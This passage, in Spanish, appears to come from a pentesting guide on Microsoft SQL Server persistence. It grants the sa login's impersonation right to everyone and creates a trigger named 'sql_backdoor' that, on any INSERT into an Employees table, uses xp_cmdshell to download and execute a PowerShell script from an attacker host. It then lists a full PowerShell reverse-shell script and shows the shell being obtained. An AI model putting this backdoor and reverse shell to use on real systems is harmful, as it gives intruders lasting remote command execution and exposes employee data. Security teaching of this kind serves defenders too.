![Habilitación de xp\_cmdshell](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FMAvBGd7oOtWFlZI5W2gS%2F42.png?alt=media\&token=d243150a-af5d-498f-96a1-c04e442b5031)

* Habilitamos que cualquiera pueda personificar el usuario `sa`:



```sql
USE master

GRANT IMPERSONATE ON LOGIN::sa to [Public];
```

![Privilegio Impersonate al usuario sa](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FoCg143PKjQwGqP0dRAiJ%2F43.png?alt=media\&token=44cdb464-ef70-4760-8699-40fea8eb21bc)

* Nos vamos a la DB (en este caso `HRDB`) en la que queremos configurar el trigger:

```sql
USE HRDB
```

![Ingreso a la DB](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2Fw7DVqvWwvFffJDsYhOEx%2F44.png?alt=media\&token=fc489729-ac13-4c90-82f2-02e979730be4)

* Nuestro trigger ejecutará PowerShell para descargar y ejecutar un archivo `.ps1` desde un servidor web del atacante. El trigger estará configurado para ejecutarse en cualquier momento en que se ejecute un `INSERT` en la tabla indicada (en este caso es `Employees`), dentro de la DB:

```sql
CREATE TRIGGER [sql_backdoor]
ON HRDB.dbo.Employees 
FOR INSERT AS

EXECUTE AS LOGIN = 'sa'
EXEC master..xp_cmdshell 'Powershell -c "IEX(New-Object net.webclient).downloadstring(''http://attacker_ip:8000/evilscript.ps1'')"';
```

![Creación del trigger](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FTZxe7A95OmkEi1wX1U7u%2F45.png?alt=media\&token=f8521519-4c8d-48ee-bf70-be86d120e79b)

* Creamos el script en la máquina atacante:

```powershell
$client = New-Object System.Net.Sockets.TCPClient("attacker_ip",<attacker_port>);

$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2 = $sendback + "PS " + (pwd).Path + "> ";
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
};

$client.Close()
```

* Dejamos a la escucha nuestro listener y levantamos el servidor web:

![Listener y servicio web](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2Fwv13Nug0TMQkmv00gLko%2F46.png?alt=media\&token=3ce1f852-6aa3-47e1-b959-3d36598850df)

* Ahora navegamos en el sitio web para generar un `INSERT`, y así obtener nuestra shell:

![Shell mediante trigger](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FSwIArEZ22dw3OeTHLE9i%2F47.png?alt=media\&token=e00a06ab-bc7a-493b-862d-f5bd38bdb5b3)

![Privilegios de usuario](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2F66XPex4FkAFBsaJdmCQ0%2F48.png?alt=media\&token=02949cb1-bdfd-4dcf-968e-b632a858840d)
{% endtab %}
{% endtabs %}

